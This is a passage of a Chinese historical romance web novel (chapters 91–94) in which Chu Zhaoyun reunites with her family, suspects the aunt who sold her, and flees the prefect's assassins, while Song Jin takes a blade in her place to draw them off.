男子笑的一脸温和,正在一一跟她报备,“院子租在我们旁边,灶膛锅子,一应用具都准备齐全,其他需要的食材也买了些……对了,我跟穆青还帮忙扩宽了地窖,那房东说他的院子有意想卖,所以不在意这个。” 褚朝云在旁听着,时不时便笑出一声。 宋谨低头看了一下被握住的女子的手,也笑道:“但我没有擅自做主,若你想买下来,我改日就去与他商议。” 待到他说完话,褚朝云才晃了晃被抓的手说:“这位小哥,你准备的如此妥当,这可不是一两日便能做得完的。” “说,你是提前几日开始准备的?” 女子凑近他。 一抹花香飘来,宋谨只觉得自己的喉口又干又涩,“……十日前。” 所以宋谨并没用她给的二百两去弄这些? 褚朝云立刻抓住了重点。 于是,她将人拉到一旁,郑重道:“你每月不过几钱的月例,莫不是把家当都搭进去,才布置的这些?” 被轻易识破,宋谨便紧张的看着她,过不久,小心翼翼道:“朝云,你……可是生气了?” 他自知不是经商的材料,所以从前才不愿接管家中产业,可如今他只想好好保护褚朝云,学着阿爹那样,给朝云撑起一片天来。 褚朝云白他一眼,不客气道:“自然生气,你为我操心尽力我非常感激,不过我可不是需要靠男子养着的女子。而且很明显我比你更适合赚钱,将来我们两个一起生活,你要听我的。” “一起生活” 宋谨心弦一动,忙道:“听,全部都听。” 褚朝云憋笑道:“那我主外,你主内吧。” “好,我主内。” 褚朝云瞧着他什么都满口答应的老实相,笑的花枝乱颤,“宋谨,你怎么这么好欺负啊!” 两个人边聊边走,走走停停。 褚朝云买了个糖人吃掉一口觉得腻,就将剩下的都丢给宋谨,然后说:“一会儿我们去哪儿?我才刚下船,可不要回去做饭,而且你也不许做。” 上次那粥,着实叫她吃的难忘。 宋谨认真的吃着糖人,沾了满唇蜜糖,“嫂子……就是曾茹娘子,她来我们小院做了一桌子好饭,还叫了徐大徐二兄弟和师父,大家都想帮你接风洗尘。” “那等下也把我师父和刁婶子叫来,叫她们也尝尝曾姐姐的手艺。” “好,那我们现在就回去,晚点我陪你回院子再收拾一下。” “反正就在隔壁,不急不急。” 二人说着便高高兴兴改道而行,不成想刚迈出一步,一清亮的男音便在身后响了起来。 “三妹妹?!!!” 褚朝云闻言一顿,而后拉着宋谨一同回头。 身后一名陌生男子正盯着她看,来人神情激动,眼眶都红了起来。 男子喊过之后,视线就不由自主下移到她和宋谨牵在一起的手上。 90-100 第91章 一更 还没等褚朝云反应过来什么,男子便一个激动抱紧了她。 男子口中不停喊着“三妹妹”,褚朝云这才记起,褚家大房除了褚惜兰,还有一位名唤褚文词的胞弟。 所以—— “二哥哥?” 她试探着开口。 褚文词听得一声哽咽,一边抹着通红的双眼,一边吸着鼻子道:“哎!三妹妹!是二哥哥!!” 褚文词和褚惜兰长得有八分像,只是面容看着更宽阔些,而褚文词性情耿直,日常也是相当维护弟弟妹妹,虽说褚朝云跟他才第一次见,但刚刚被哥哥抱着,心中不由自主就多了几分踏实。 二人互看彼此,同时问出一句:“你怎么在这儿?” 问完,又都怔了下。 褚文词方才那般用力抱人,早将褚朝云和宋谨牵在一起的手给扯开了。 只是想到家中姐弟三人失踪已久,褚朝云身边又忽的多了个陌生男人,他眉毛蹙起,直接挡在了褚朝云身前,“这位小哥,请问你是何人?” 褚文词态度与面对自家妹妹时截然不同,但宋谨还是温和笑道:“我——” “他是官差。” 褚朝云抢先说了一句。 女子神情带着试探,也是想借着官差的名头观察褚文词的反应。 他们三人被弄到蕤洲来,不用怀疑就是三婶从中搞的鬼,褚朝云本想先解决了这条船的问题再回去寻亲,没成想对方就先一步找了过来。 她真的很好奇三婶“弄丢了”他们回去之后是如何说的。 毕竟依照褚文词的反应,大概那女人已经把自己摘得干干净净了。 听到褚朝云的解释,褚文词有片刻怔愣,而后立刻退开三步,朝着宋谨行了个大礼:“原是官老爷,是小民眼拙,小民还要感谢官老爷帮我寻回亲人!!” 宋谨被这声“官老爷”叫的有些许无奈,即刻便将他扶起,“抱歉,您理解错了,我不是什么官老爷。” 褚文词陷入迷茫,只好又去看褚朝云,“对了三妹妹,我姐和小郁呢?他们在哪儿?快带我去见见他们,阿爹阿娘他们找了你们很久了!” 褚朝云听后,答非所问:“二哥哥,三叔和三婶呢?他们也来了吗?” 褚文词越发迷糊,不过提到那一对夫妇,表情就有些气愤:“来了,不过三叔三婶你是知道的,听说我们寻到了青州,又知青州富饶秀美,我看他们寻人是假,想游览风光倒是真的!” 褚文词三言两语,就讲清楚了他们被骗走之后的事情。 那日三婶刘玉花带着他们姐弟三人进了城,待到天擦黑后,才满身是血的跑了回去。 刘玉花说,他们四人在城里遇上了恶霸狂徒,抓了姐弟三人不说,还来放狗咬她,她这才一个不慎弄丢了他们三人。 大房二房的长辈听后,立刻跑去城里报了官。 褚朝云的阿娘不太信任刘玉花,还特意请了大夫给刘玉花验伤,不过大夫也说,那伤的确是狗咬了的。 刘玉花当晚就发起了高烧,一病大半个月,搞得大房二房想问责也找不到机会。 长辈们心急,日日去官府询问,官府也的确派了人在城中找,可每每都是一无所获。 褚文词算是家中唯一可用的男丁,他猜着时间已经过了这么久,恐怕褚朝云他们早已不在城中,便提议要出来寻人,大房二房一拍即合,两家人带足了干粮,又变卖了田产就上了路。 他们沿着家乡附近的州县一处一处的找,每到一处便去官府登记,请官家出手帮忙。 可各府州县只管各府州县的事,褚朝云他们不在那处,人家也是无法。 直到日前寻到了隔壁的青州,三叔突然托人写信给褚文词询问此事,褚文词潦草几句回了,三房便提议也要来青州帮忙寻人。 “我们昨晚刚到这蕤洲来,这不今个就遇上了你!!” 这一整年下来,褚家为了寻他们吃了不少的苦。 褚文词这么一说,褚朝云才发现她二哥瘦的几乎已经成了皮包骨头。 “那……阿爹阿娘他们呢?” 她往四周看,并没发现身后有什么长辈在。 褚文词:“我们一般都是分开找的,晚上在一起回客栈碰头,距离约定还有两个时辰,三妹妹恐怕要再等等才能见到他们了。” 褚朝云心中简单估量了下,然后建议道:“不如二哥哥先随我去认认门,等下把他们一同接过来,我晚点回去与你们相聚。” 能见到家人她的确很欢喜,可曾茹他们已经做好了饭食她也不能爽约。 而且,她还有很重要的事要做。 她言简意赅的表达了自己的意思,褚文词却越发听不太懂。 什么叫……认门? 难不成三妹妹已经在这里成亲了,有家了?? 不过这种想法只在他脑子里绕了一圈,褚文词就快步跟着褚朝云和宋谨一同去了院子。 小院被收拾的干净整洁,褚朝云也是第一次来。 褚文词看到这宽敞的院子,更是惊诧不已。 宋谨主动上前询问:“你们带的行李可多?需要我喊几个人帮你拿过来吗?” 褚文词忙客气摆手:“这倒不用,就是一些小包袱而已,我们自己可以,多谢你了小兄弟。” 说罢,又去看褚朝云,“路线我记下了,我先去客栈等他们,晚点就带着阿爹阿娘他们过来见你。” “好,路上小心。” 褚朝云说完,便目送着褚文词离开了。 待对方走后,宋谨才轻声说道:“他们远道而来想必吃了不少的苦,也一定都很想念你,可要叫他们也过来一起吃顿饭,你们叙叙旧?” 褚朝云目光看向远方,摇了摇头,“不。” 她还不知刘玉花和李婆子几人的关系,到底只是单纯的买卖关系,还是另有其他。目前她不能暴露自己的事情,更不能让刘玉花知晓宋谨他们在帮自己。 褚朝云重新拉上宋谨的手,笑道:“走吧,我们先去吃饭~” 隔几步就到了宋谨的院子,一推门,一群人就热热闹闹的跑出来迎接她。 褚朝云看着默默站在一边抹泪的刁氏,大步跑过去一把抱住了她,“婶子,我自由了。很快,我就把香荷和大伙都接出来跟咱们团聚!” 刁氏这阵子在长业寺养的不错,身体也逐渐强壮起来,不过长业寺毕竟不是久居之所,如今褚朝云自己有了院子,肯定是要把人接出来的。 虽说褚朝云有自己的亲爹娘,但自从她来到这里,其实接触最多的就是刁氏和徐香荷。 所以她和这二人更亲厚些,也是正常。 一群人围坐在院中把酒言欢,吃吃喝喝差不多了,褚朝云才轻咳一声道:“各位,我想好了,接下来的一段时间我会想尽办法查清楚那条船的事。今日把大家聚到一块也是想请大家帮着分析分析,但你们不必插手,精神上支持我就好啦。” 女子故作轻松说了一句,她并不想把无关人员牵涉进来。 不过她才说完,小八卦穆青就预先跳了出来,“褚姑娘你这话我不爱听啊,你这莫不是拿我们宋儿还当外人呢。” 褚朝云:“嗯?” 穆青笑嘻嘻:“我们都是宋儿的家人,你又是宋儿的心上人,那换言之我们也是你的家人咯~既是一家人,怎有不帮的道理!” 朱力:“放心,你的事就是我们大家的事!” 曾茹:“褚妹妹,你有我们,千万别自己涉险啊!!” 褚朝云听得感动,平复了下心中波动,起身说道:“有大家这句话,就够了。” 宋谨见她还有其他的话要说,便叫穆青几人帮忙撤了桌上饭菜,然后去屋中取了纸笔过来开始研磨。 褚朝云眉宇凝重,重新坐了下来:“我知道钟管事不是坏人,而且她在船上一直对我照顾有加,实则是希望我能帮助她做一些事情。” “从前我一直在想,她到底有什么是需要我去做的?昨晚我把发生过的事情捋顺了一遍,大概有了新的想法。” 宋谨磨好墨,温声道:“慢慢说。” 褚朝云轻点下头,“她破例允许我去长业寺参加素斋大赛,而我也听说岳知府与知府夫人每年都会去长业寺小住一月。” 宋谨耳中听着她的话,在纸上一一写下事件相关的人名。 褚朝云:“用提升月例作为借口,实则是为了叫我每月都去府上做一顿素斋,而知府夫人每隔一阵子也会去她府上一次……” 宋谨记下关键。 褚朝云:“我猜花船上必定有钟管事的眼线,可那人只盯着,却又从不张扬我暗中所做的生意。” 或许钟纯心是想通过这点,来衡量她的胆识和手段。 即便要挑一个能给自己办事的人,也得先看一看对方是不是有担当的能力。 褚朝云在心中说。 她将关键的点都摘出来后,众人便一同去看宋谨记录的那张纸。 宋谨写下人物关系表,最后,在两件大事里共同出现的一个名字上画了个大大的圈—— 岳常。 看到这个名字,不只褚朝云,就连其他人也都有些不敢置信。 钟纯心是在跟褚朝云传达岳常这个知府有大问题,可她又不能直言相告。 褚朝云思绪飘远,不禁回到了第一次见到钟纯心的那日。 她为了躲避进入雅间,用自伤的方式让李婆子被迫送她去了楼下,李婆子虽口口声声道她愚蠢,但钟纯心却认定她是聪慧的。 虽说楼上姑娘的日子看似更风光些,可实则危机四伏。 像是春叶那一回,不小心听到了什么客人的秘辛,便有了性命之忧。 船娘虽苦,但总还是能活得下去。 恍神片刻,褚朝云幽幽一句:“可……岳常不是好官么?” 岳常的好,众人皆知- 今晚,褚朝云这一处热热闹闹,但赵大那里却已经鸡飞狗跳。 被李婆子带出去的四名杀手一个人都没回来,赵大坐不住了,决定直接去钟纯心的府上要人。 只是他并没能见到钟纯心,而是被老管家给挡了回来。 “抱歉赵管事,李管事不曾来过这里,您不如再去别处看看?” “没来过??可是——” 赵大还想说些什么,但又觉得不太对劲。 这府上除了徐大徐二有些本事,其余的都是一群废柴和老弱病残,若李婆子真来过这儿,杀手们想要抓钟纯心还不是轻而易举? 难道这老婆子又在诓他? 赵大想不太通,只能隐着怒火离去。 而翌日一早,李婆子失踪的消息就传遍了大街小巷。 第92章 一更 花船突然少了一位管事,还是失踪,这几日船上船下明显就乱了起来。 赵大忙着去跟上面那人汇报,忙着找人,也根本顾不上跟钟纯心对质什么,就连褚郁和项辰这几天总一块去账房,他也没什么心思想管了。 其实赵大根本无所谓李婆子的死活,他只是可惜自己培养的杀手,可用的本就不多,如今一下就折了四个! 赵管事脸子难看的像是要吃人。 赵大不去船上,船娘们又守口如瓶,所以褚朝云被放下船去这事,赵大也是一点风都没收到。 钟纯心换回妇人打扮,此刻正歪在花船的休息室里。 门外环佩叮当,一温婉女子推门而入,见她半垂双目,便小心谨慎地喊了一声:“钟管事。” “你也不必老是遮遮掩掩,给我当眼线是什么很丢人的事吗?” 没了李婆子,钟纯心连说话都畅快了几分。 蕙娘抿唇遐思,随即神情懊恼的揪了揪帕子,“我……是怕春叶和惜兰他们知晓后会不喜。” 钟纯心哼了声,从床榻上坐起:“怎么,你害他们了?” “当然没有!” 蕙娘忙道:“他们都是我的好姐妹,我怎会害自家的姐妹。” 蕙娘成了钟纯心的眼线,其实是在褚朝云上船之后的第二天,打从褚朝云这个小姑娘一来到这条船,钟纯心就看出她是个不怎么安分的。 安不安分不重要,心要善,才能成事。 所以她找上资历老些的蕙娘,蕙娘又一向很得李婆子青眼,既方便帮忙看着褚朝云的动向,也能暗中监视着李婆子。 褚朝云暗中做些小生意的事,蕙娘都一一汇报给了钟纯心,不过那是在她能够确定钟纯心不会为难褚朝云的情况之下才讲的。 蕙娘也是苦命之人,想的自然是两全之法。 答应钟纯心,既能让对方帮着照料年迈的阿娘,又有了一些权利能够保护褚朝云和一众姐妹。 所以这差事她应的心甘情愿。 事情走到了如今这个局面,蕙娘也感知出钟纯心是想要做些什么,不过褚朝云已经顺利下船,她的差事完成了,余下的,她便只能在心中祈祷褚朝云和钟纯心一切顺利了。 临走前,她一忍再忍,还是没能忍住问了句:“管事,李管事她——” “死了。” 钟纯心把玩着袖口里露出来的一支匕首,神色淡淡道。 蕙娘惊愕之余,紧握双手激动道:“死得好,简直大快人心!” 钟纯心挥挥手示意她出去吧,蕙娘见女子面有倦色,便轻手轻脚将门关好,决定回楼上去跟春叶和褚惜兰坦白此事- 褚朝云从宋谨那里回来的当晚,只潦草见了阿爹阿娘和大伯父大伯母一面。 大伯父大伯母先是抱着她痛哭不止,当问到褚惜兰和褚郁时则被她给打岔了过去,最后大伯母哭的心疾差点犯了,大伯父只能先将夫人带到房里去吃药歇息。 而她阿爹阿娘也没好到哪里去,阿娘直接哭晕过去,阿爹也是上气不接下气。 褚朝云只好拜托褚文词帮忙照顾阿爹,自己则亲自照顾阿娘,就这么先应付过去一晚再说。 刁氏被褚朝云安排在了隔壁的屋子,只是刁氏毕竟是个有分寸之人,人家一家团聚她不好打扰,索性攥着囡囡的小铃铛早早睡下。 褚朝云整晚都没见到那传说中的三叔三婶,据她阿爹阿娘说,二人跑去万春楼吃酒,又到了榆树胡同听戏,那戏院都是整晚营业的,想必这二人要玩到天亮才肯回来。 翌日一早,刁氏帮着褚朝云给全家做了早饭,三叔三婶也被褚文词给接了回来。 一家子围坐一块却神色各异,彼此心里都压着一些事。 大伯父率先开口,问的自然还是褚惜兰,“朝云那,我家惜兰她到底在哪儿啊?” 大伯母心疾好了一些,也忙焦急道:“是啊朝云,你们三个是一块被那恶霸……你们后来分开了吗??” 这么一问,褚朝云的爹娘也紧跟附和道:“对啊闺女,小郁呢?” 饭桌气氛沉闷,尤其褚朝云的脸色似云似雾,有些叫人分辨不出她此刻的情绪。褚朝云佛一样静坐片刻,随即忽的扯开一抹笑看向刘玉花,“你觉得呢?三婶。” 刘玉花原本只顾着低头往嘴里扒饭,突然被点到名字,妇人便厌烦的抬起了头。 一抹心虚闪过,刘玉花似笑非笑:“你这孩子怎么还问起我了,若我知道,你们又怎么会此刻才见上面呢!” 刘玉花的眉毛天生吊着,鼻梁挺,嘴唇薄,尖尖的下巴显得她整个人都过分尖酸刻薄。 可三叔褚百明似乎看不太出来,或许还很欣赏刘玉花的美,见褚朝云一副质问的口吻,登时就不乐意了,“褚朝云,你怎么跟你三婶说话呢?!” “褚百明你给我把嘴巴闭上!你媳妇弄丢我们两家的孩子,如今我们朝云说两句都不行了?” 褚朝云的阿爹褚百千“腾”得摔下筷子,怒目看向褚百明。 褚百明生生咽下怒气,不再理会褚朝云。 “弄丢”这个词像是刘玉花的逆鳞。 褚百千刚说完,刘玉花便“嗷”得一声坐到地上拍腿大哭起来,“二哥你不好好管管你家孩子竟然还来数落我们?褚朝云她被你们宠的一点教养都没有啊,张口闭口就要污蔑于我,你们竟然还帮腔,这日子没法过了啊!!!” “刘玉花!” 褚朝云的阿娘曲艳见状,撸胳膊挽袖子的就站了起来。 “二嫂,你敢动我家玉花一下试试!” 褚百明忙挡住她。 “褚百明我看你要造反!” 褚百千直接上前,一脚就将褚百明给踹翻在地。 场面一时混乱不堪,连性情稍微温和些的大房两口子都有些拉不住,最后还是褚朝云喊停了他们,才暂时结束这场闹剧。 刘玉花一来就闹开了,既是心虚,也是想给褚朝云一个下马威,目的是叫她少说些没用的废话。 褚朝云都心知肚明。 而这一路走来,大房二房也不是眼瞎心盲之辈,他们早怀疑刘玉花有问题,可没有证据的事又能怎么样呢。 所以他们满心期盼着找到孩子们,亲自问一问到底发生了什么。 褚朝云的爹娘本就脾气火爆,有时连大房的话,他们也是不怎么听的,不过倒是格外听褚朝云的。 早饭吃的不是滋味,待到曲艳想找闺女再好好问一问时,褚朝云却避着他们出了门去。 她暂时不能告诉大家褚惜兰和褚郁的去向,自然不会长久的留在家中,褚朝云本想先去宋谨的院子继续昨晚的那个话题,只是身后多了条尾巴。 刘玉花鬼鬼祟祟地跟了她几步。 褚朝云缓缓转身,笑着走回来,看着刘玉花轻轻道:“三婶,你是早饭没吃饱么?跟着出来做什么,买东西吃?” 没了旁人在侧,刘玉花脸色顿时阴沉下来,“褚朝云,褚惜兰和褚郁在哪儿?!” “哦?他们在哪儿你不知道吗?” 褚朝云故作无辜。 刘玉花见她如此表情,心中倏然打起了鼓。 她是真的不知道。 那时她一心想要卖了褚惜兰报复大房,结果那个傻子自己帮她把二房的俩小的也给喊了来,刘玉花得了意外之喜,立刻就带着他们去约定好的茶馆吃茶。 那茶馆就是个暗桩,专做杀人越货和一些见不得光的营生。 而刘玉花之所以知道,则是因为她和褚百明好赌,前前后后欠下不少的外债,几次被抓进那茶馆里,差点跺了手脚。 她怀着褚寻时,大房二房并没亏待她,经常送些银钱补品过来,但刘玉花没一样用在自己身上,全部都拿去赌输了,所以褚寻一生下来就体弱多病。 村中大夫也说过,也许这孩子并不能顺利长大。 刘玉花卖了他们三人,因为她觉得大房二房对不起她家,对不起褚寻。明知褚寻身体不好,平时还不多送些吃喝补品过来,有好东西就知道顾着自家那几个,所以褚寻才在进城求医的路上没能捱的过去。 再者,也是为了还赌债。 她虽不知那伙人将褚朝云他们带去了何处,但隐隐也听过蕤洲二字,当她得知大房二房有可能寻到了蕤洲,便怎么都坐不住了,还是要亲自过来看看才能放心。 最好褚朝云他们已经死了,这样大房二房即使再怀疑她,也是拿她全无办法。 刘玉花急着问褚惜兰和褚郁的下落,连掩饰都顾不上。 她觉得奇怪。 非常的怪。 褚朝云为何会好端端的在这蕤洲,还有钱租下院子,似乎过得很是不错? 所以她抓心挠肝的想知道。 她目光灼灼的问了一句,褚朝云却只笑而不语。 刘玉花手心渗出几许冷汗,又厉声问了第二句,“褚朝云,我问你褚惜兰和褚郁去哪了?!!” 见她急了,女子总算有所动容。 褚朝云背对日头,阴影之下她的面庞染不到半分的光,阴森森的,犹如恶鬼。女子静静看着刘玉花,眼眸忽的垂向地面,进而幽幽道:“他们,不就在那儿吗。” 褚朝云说的模棱两可,可刘玉花显然会错了意。 刘玉花顺着她的视线向下看去,瞥到脚下踩着的泥土,不知想到什么,倏地鬼叫一声,跟着便癫狂地大吼起来:“在、在那——不不不,不是我!不要找我,不要找我,啊啊啊啊!!” 褚朝云懒得搭理这疯妇,径自去了隔壁院子。 宋谨正坐在院中等她,见人来了,忙伸手拉住她,温声道:“昨晚过得可还顺利?早饭吃的好么?我这里有粥,是嫂子一早做好送过来的,不是我煮的……咳。” 宋谨解释时面上闪过一抹尴尬,褚朝云便轻笑起来,“我吃过了,以后我教你煮饭。” “那说好了,学会了我就能做给你吃了。” 宋谨俨然很高兴。 二人正说着话,刚去了一趟府衙回来的穆青便送来消息,“听说岳知府带着夫人去了长业寺。” 算算日子,此时尚未到初一,褚朝云还不用去长业寺。 但岳常去了。 褚朝云抬头看了眼天,深沉地吸了一口气,发觉自己好像离真相越来越近了。 既不入虎穴,焉能得虎子? 她推门回去拿上帷帽,打算以给囡囡祈福的名义,亲自去长业寺走一趟。 宋谨知晓她的想法,便在门口等她:“我陪你一起。” “你不是还要去府衙?没事的,我只不过先去长业寺探探风,又不做什么危险的事,你不必陪着我。” “我不放心,就让我陪你吧。” 宋谨眼皮有些跳,但他没预备说这些不吉利的事,只是再三恳求。 “好,那我们就同去吧。” 褚朝云朝他一笑。 第93章 一更 长业寺非初一十五并不对香客开放,即便是有上香的散客,也只能在前殿活动。所以哪怕褚朝云是长业寺掌厨,也无法将宋谨带去后面。 “我在此处等你。” 宋谨抬手将褚朝云的帷帽整理了下,捋顺两侧飘带后,便去殿前给佛祖上香。 方才二人进来前,褚朝云便留意到了门前的两辆马车,仿制气息浓厚的那辆一定是岳常的,但还有一辆,显然华丽非常。 两辆马车挨的极近,即便不是同来,也是一前一后。 褚朝云叫住一名僧人,笑问:“小师傅,今个可是有贵客到访?” 被叫住的僧人一怔,仔细分辨了下才认出她是谁,便礼貌回应道:“原是掌厨来了,可是与方丈提前约好了的?” “是。” 褚朝云面不红心不跳的说了个谎。 僧人略感迷茫,因为空释一早才说要提前准备法会,并没通知他们今日褚朝云要来,可又一想,褚朝云实在没有说谎的理由,便低声回应道:“是岳知府来了。” “诶?那知府大人和他夫人为何不同乘一辆车?难不成……是吵架啦?” 她故意露出一副八卦神情。 僧人干咳两声,说话的声音也小了些:“不是的,听说是大人京中过来的好友,大概是从前一起念书的旧友吧。” 成功套到话后,褚朝云便笑着跟僧人道别,径自往一侧院道去了。 长业寺虽大,但她来过许多回,地图早就烂熟于心。此刻这么一推断,便不难猜出岳常会跟旧友在哪处相见。 寺中景色最美人最少得地方非后山金池莫属,于是她紧了紧帷帽,一路避着往来僧人直奔那处而去。 既是旧友,那想必会有很多小秘密要讲。 褚朝云脚步放轻的一路到了后山,避在郁郁葱葱地树丛后往外探,果真就看到一身常服的岳常和一名执扇的男子在交谈什么。 二人面对金池背对着她,褚朝云屏息凝神,一点点往他们近处挪动几分。 岳常每次带陆欣冉过来都会住上一个月,说是为了陆欣冉的生辰祈福,可这看在她眼中,褚朝云总觉得岳常心中有鬼,保不齐是为了弥补什么心中的愧疚。 自从事情的苗头转向岳常身上,她就怎么看这位知府怎么不顺眼了。 世上伪善之人大有人在,谁又能肯定岳常就一定是个好人。 影影绰绰地,她听了几句二人的寒暄,似乎那位京都过来的旧友真的只是来看看岳常,二人说了好半天,也没提到一点有关于“花船”的内容。 褚朝云倒是挨了不少蚊子咬。 就在她蹲的双腿发麻,想要打退堂鼓的时候,旧友便执起扇面一边扇着风一边大笑,感叹似的说了一句什么。 那人讲的随意,说的自然,可这句看似无关紧要的话听在褚朝云耳中,女子顿然就冒了一头的冷汗。 盛夏六月炎炎暑气,褚朝云却似被人当头一棒,耳朵鸣了好久也缓不回神。 刚刚对方说的是什么,他—— 就在她晃着脑袋想清醒一下时,不远处忽的传来一声:“咦,请问你是?” 她戴着帷帽,又侧身对着僧人,对方并没看出她是谁来。僧人正过来给岳常和贵客送些果盘,突然发现了她藏在此地,才纳闷地问了一句。 只是僧人这一出声不要紧,方才还相谈盛欢的二人同时往她这处望来,隔着帽帘,褚朝云正犹豫要不要编个什么借口糊弄过去,瞥眼便瞧见了岳常眼中的杀意。 他想杀了自己?! 电光火石之下,褚朝云拔腿便向着院道跑。 心中想着,反正岳常也没带衙役过来,只要对方没看清楚她是谁,只要她跑的足够快,离开了长业寺或许就能躲过一劫。 这么想着,她更加要捂好自己的帷帽! 女子心惊胆战步履飞快,一路风驰电掣很快就跑到了前殿处,便在此时,头顶一带着烟雾的不明物在上空倏然炸响,惊吓之余她抬头去看,心就彻底沉了下去。 岳常果然还有后手。 她路过宋谨身旁,不待对方走过来就轻喊一声“别跟着我!”然后脚下加快,“哗啦”推开寺门,奔着巷弄多的地方跑了过去。 而宋谨即便再弄不清楚状况,也知褚朝云是被岳常发现了。 褚朝云不想连累自己,所以不打算带着他一起跑。 隐约间,他看到长业寺外的树梢上飞下几名轻功顶尖的黑衣人,他们手持长刀一路跟着女子而去,也分别进了那条巷弄。 宋谨气息凝滞,立刻跑着跟了上去。 这一边的巷子有大半都是危房待拆,路径错综复杂,宋谨一跑进来,死一般的沉寂里还混杂着大片的呛鼻味儿。 他的功夫虽说只是三脚猫,但还是能看得出那些杀手个个不俗。 莫说是要他以一对四,就算单打独斗他也毫无胜算。 怎么办? 他要怎么办才能帮到朝云!! 宋谨急的冷汗直流,躲到一处阴影之下,他强行让自己冷静下来。 无论如何,还是先找到朝云才行。 宋谨抬头看了眼面前小路,又低头去分辨脚印,混乱的脚印已经不知覆盖了几重,还有很明显的车辙印痕掺在其中。 他脑子有些乱,堪堪靠在墙根下深呼了几口气。 仔细回忆了一下褚朝云今早出来时所穿的鞋,细思半晌,宋谨猛然离开墙根,又蹲下身去观察那些脚印。 他知晓,黑衣人也在寻找褚朝云,所以他必须比那伙人先一步找到她! 褚朝云是个节俭的姑娘,鞋子哪怕有损坏,她也不会轻易更换,反而会补一补接着穿。 褚朝云一早出来穿的是双旧鞋子,鞋底断过,才刚被她又厚厚地订了新的一层,为了好看,她还叫宋谨帮她用小刀在底部划了小花的图案。 所以脚步踩在地面上应该是—— 宋谨沿着这一条路找寻,没有,然后便拐进了另外一条。 大概就这么小心翼翼地寻了半炷香,他就在一处破旧的房屋门前瞧见了印在地面的花型痕迹。 宋谨抬头看了眼那即将掉下的大门,推开走了进去。 虽说这条巷弄看着四通八达,但黑衣人是分开来寻的,哪怕短时间内寻不到他们,再多呆一会儿,他们也一样会被发现。 宋谨心中危机闪过,进屋之后,很快就在柜子里发现了藏起来的褚朝云。 “宋谨?你怎么跟过来了!” 褚朝云还以为自己被发现了,正要将手里捡的砖头砸过去,一瞧见是他,忙将他也拉了进去。 “我不会丢下你的。” 宋谨叹了一声,抓住了她的手。 “可是——” 褚朝云实在不想说丧气话,但刚刚那情形她也看的一清二楚。 若不是自己脑子快,跑出来第一时间就躲了进来,她如今可能已经命丧刀下了。 二人静坐在漆黑的衣柜内,彼此的心绪都极难平复。 不多时,她在黑暗下开口,低吟了一句,“你还是快走吧,他们抓的是我,大概不会图添麻烦,我知道了岳常最大的秘密,他绝不会放过我的。” 褚朝云眼睫眨了眨,第一次觉得无力,这一回,她好像真的想不出脱身的好办法了。 “宋谨,我现在把这个秘密告诉你,你顺着这条线去查,若有能力就将船娘们都救下来,若没有……就离开蕤洲,再也不要管这里的事。” 她说完,抬头看向宋谨,坚定道:“岳常他其实是——” 只是还没等她说出下文,唇就被男子给堵住了。 温凉的气息带着一点淡淡的薄荷香味徐徐渗进了她的口腔之中,宋谨紧紧抱着她,一吻即分,错开双唇低声道:“别说话,他们要来了。” 不远处,脚步声越发临近。 褚朝云鼻尖一酸,突然就有些后悔。 她从不后悔自己要去管船上的事,可她后悔将宋谨牵连了进来。 宋谨和父母分开许多年一直没有放弃找寻,他曾说过,只要没有确切得到他们的死讯,这一辈子,他都不会放弃找到家人。 可如今他们双双被困在此,此刻宋谨就算是想要出去,恐怕那些黑衣人也不预备放过他了吧? 脚步声由远及近,黑衣人像是已经料到她藏在此处一样,就连脚下踩到断枝,发出了什么声响,对方也是全不在意。 她甚至听到了杀手轻蔑的笑声。 一个,两个…… 好像是四个人都朝着这边过来了。 就在她紧抓砖头打算跟那些杀手拼了的时候,她的帷帽却被人摘了下来。 宋谨眼眸坚定的看着她,顾不得礼节伸手去解她的外衣扣子,“朝云,我们换一下衣裳,一会儿我去引开他们,你趁机跑出去,他们不会注意到你。” “你——” “嘘,听话。” 宋谨温柔的抚了抚她后脑,赶在她怔愣之时,迅速脱下外套穿在自己身上。 戴好帷帽之后他再看女子一眼,褚朝云下船之后已经不在用布巾包头发了,而是在发间插了一根素面的簪子。 他顺手取下簪子握在掌中,眉眼温和道:“我走了。” 说完,动作干脆的推开柜门,轻手轻脚跑了出去。 褚朝云连一个字都没跟他说上。 衣柜里重新安静下来之后,少了那混合着薄荷药香的男子气息,她才猛然反应过来刚刚到底发生了什么。 “我走了” 宋谨柔软的话语还响在耳旁,对方说的那般轻松。 女子双目通红窝在衣柜里,呆怔片刻,抱着双膝难过的呜咽出声:“你怎么……老是这样……” 老是这么温柔的跟她说话,老是这么无底线的纵容她。 比起旁人,她觉得只有和宋谨相处时才感到无比放松,她可以什么都不用想,也可以无所顾忌地说想说的话。 因为她知道,无论她想做什么,宋谨都会毫无怨言的陪着她。 理智的说,眼下她不能出去,因为宋谨的办法是最万全的,但是宋谨会死。 想到此,女子缓缓的抬起头,跟着,便推开柜门毫不犹豫地跑了出去。 只是一脚才迈出门槛,她就听到了刀锋划过身体的声音。 女子双腿一软,跌坐在地。 第94章 一更 小院子里进进出出,血水端了一盆又一盆。 大夫抬手抹了抹汗,呼出口气,“宋公子的命可算是保住了。” 身边,担忧了半晌的朱力看向屋中几人,猜测道:“看来阿谨是提前算好了的,幸好他聪明,否则今日必定是——” 后半句话,朱力没能说下去。 小八卦这会儿子也没了平日里的活泼劲儿,眼睛红红道:“还得感谢那个给咱们通风报信的少年,也不知他是哪家的,而且我瞧着他眼熟的很,但就是怎么都想不起来那少年是谁。” “少年?” 褚朝云帮床榻上双目紧闭的人掖好被角,看着穆青问。 “嗯!一笑起来脸上两个酒坑……对了,嘴角右侧还有个小痣,看起来面善的很,想必也才十八九岁吧。” 挑出来的两个特点如此明显,褚朝云心中微惊—— 是他? 是钟纯心府上的那个小厮。 当年囡囡落水身亡,也是钟纯心遣那小厮去找的刁氏。 因那人面容稚嫩,几次跑去船上找她时,她也险些把来人认成了十八九岁的年纪,实则那小厮已经二十八岁了。 所以……是钟纯心得知了她和宋谨有难,才派了小厮去通知大家。 因为钟纯心知道,岳常豢养的杀手是见不得光的,如果遇上府衙的差人,他们必定要躲藏起来暂且放弃追杀任务,这样便能给她和宋谨争取更多的时间。 如果钟纯心明知岳常有问题还暗中支持她调查,那是不是—— 褚朝云低头看了眼睡熟的宋谨,眼角又溢出些湿润来。 朱力说的没错,宋谨的确是聪明的。 提出要跟她换衣裳引开杀手时,她一直以为宋谨是下定决心要去赴死,所以才顺手拿了她的发簪,大概只是为了一个念想。 可实则宋谨并没打算放弃生命。 宋谨算好了杀手绝对会将他一刀毙命,便在对方举刀时强行错开心脏三分,只要没划到重要部位,就还有生还的希望。 